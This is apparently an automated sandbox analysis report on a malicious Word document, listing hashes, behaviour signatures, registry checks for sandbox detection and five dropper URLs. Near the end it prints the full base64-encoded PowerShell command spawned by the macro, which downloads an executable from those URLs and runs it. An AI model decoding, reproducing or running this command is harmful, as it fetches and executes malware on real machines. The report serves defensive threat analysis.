Analysis
- max time kernel
135s - max time network
128s - platform
windows10_x64 - resource
win10 - submitted
23/07/2020, 07:10
Static task
static1
Behavioral task
behavioral1
Sample
BAL_YS9FO1WSRXCPYF.doc
Resource
win7v200722
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
BAL_YS9FO1WSRXCPYF.doc
Resource
win10
0 signatures
0 seconds
General
- Target BAL_YS9FO1WSRXCPYF.doc
- Size 168KB
- Sample200723-8fn371vmb2
- SHA256 494e554c1bc06afeb22c18fdb6b7687f9c86433f7f2a13d9d4ea5d38569d9e27
- MD5 8b1562cd47db258fc3e0374aa309c46b
- SHA1 1664ddabe0918b87763ac153626b07d79756035a
- SHA512 728e3f02a7be6b727442d1e6a84f759a67de8fc58cb71c53bd8fb43a6f870678de82fc77f4cb551386f45d65662d7fbdd51bdfea1806a689937e1678373fa27e
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://houseofgriffin.org/weblog/v76/
-
exe.dropper
http://hohwy.com/cgi-bin/Bv8y33Cmr/
-
exe.dropper
http://lidermuebles.com.ar/cgi-bin/wz4rxd/
-
exe.dropper
http://106.52.87.250:81/wp-admin/T3B09Z/
-
exe.dropper
http://duhocjk.vn/wp-admin/51f73u/
Signatures
- Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2920 WINWORD.EXE 2920 WINWORD.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3392 1732 powersheLL.exe 68 - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3392 powersheLL.exe - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3392 powersheLL.exe 3392 powersheLL.exe 3392 powersheLL.exe - Blacklisted process makes network request 4 IoCs
flow pid Process 9 3392 powersheLL.exe 11 3392 powersheLL.exe 14 3392 powersheLL.exe 21 3392 powersheLL.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_YS9FO1WSRXCPYF.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:2920
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABkAGEAbwBoAGoAbwB1AHQAaAB3AG8AaQB6AD0AJwBoAGUAYQBtAGgAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBgAGkAVABZAFAAUgBgAG8AdABvAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAawBpAG8AZABtAG8AYQBnACAAPQAgACcAOAA1ADEAJwA7ACQAeABhAGkAdAB4AGEAdQBnAHYAYQBlAHgAcgBvAGkAYwBoAD0AJwB2AGUAZQBwAGIAbwBvAGYAcABvAG8AcQB1ACcAOwAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGsAaQBvAGQAbQBvAGEAZwArACcALgBlAHgAZQAnADsAJABnAGUAdQBjAHQAaABhAHUAZABnAHUAcgBoAGUAdQBkAD0AJwBiAG8AbwBqAGgAaQBsAHQAaABlAGkAYgAnADsAJABrAGUAdQBwAGYAYQBpAGsAdABoAHUAdQBzAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUADsAJABtAGEAbwBnAHoAbwBlAGcAYwBoAHUAdQBrAD0AJwBoAHQAdABwADoALwAvAGgAbwB1AHMAZQBvAGYAZwByAGkAZgBmAGkAbgAuAG8AcgBnAC8AdwBlAGIAbABvAGcALwB2ADcANgAvACoAaAB0AHQAcAA6AC8ALwBoAG8AaAB3AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBCAHYAOAB5ADMAMwBDAG0AcgAvACoAaAB0AHQAcAA6AC8ALwBsAGkAZABlAHIAbQB1AGUAYgBsAGUAcwAuAGMAbwBtAC4AYQByAC8AYwBnAGkALQBiAGkAbgAvAHcAegA0AHIAeABkAC8AKgBoAHQAdABwADoALwAvADEAMAA2AC4ANQAyAC4AOAA3AC4AMgA1ADAAOgA4ADEALwB3AHAALQBhAGQAbQBpAG4ALwBUADMAQgAwADkAWgAvACoAaAB0AHQAcAA6AC8ALwBkAHUAaABvAGMAagBrAC4AdgBuAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQAxAGYANwAzAHUALwAnAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAGMAdQB1AGQAYgB1AGEAaABkAGkAbwBtAD0AJwB3AG8AdwB0AGkAYQB2AG4AdQBhAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAgAGkAbgAgACQAbQBhAG8AZwB6AG8AZQBnAGMAaAB1AHUAawApAHsAdAByAHkAewAkAGsAZQB1AHAAZgBhAGkAawB0AGgAdQB1AHMALgAiAEQAbwBgAHcAbgBsAGAAbwBhAGAAZABGAEkATABFACIAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAsACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkAOwAkAGQAdQBhAHcAcQB1AG8AbwB0AGMAaABpAGEAdwA9ACcAawBpAGEAZgBsAGEAaQBkAGwAYQBlAGsAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkALgAiAEwAYABFAG4AZwB0AGgAIgAgAC0AZwBlACAAMwAzADYAMQA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAdABlACIAKAAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAKQA7ACQAaABhAHUAYwBqAGEAaQB4AGsAbwBhAHcAZgBlAHUAagA9ACcAawBlAG8AagB4AHUAYwAnADsAYgByAGUAYQBrADsAJAB3AGkAYQBuAG0AYQBjAGgAdABvAGMAZABvAG8AagA9ACcAZwBlAGUAbQBsAGkAaAB6AGUAYQBiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBhAGIAcQB1AGEAaQBjAGgAcABhAHcAPQAnAGIAbwBlAHgAdgBlAGEAeAB4AGkAeQAnAA==1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3392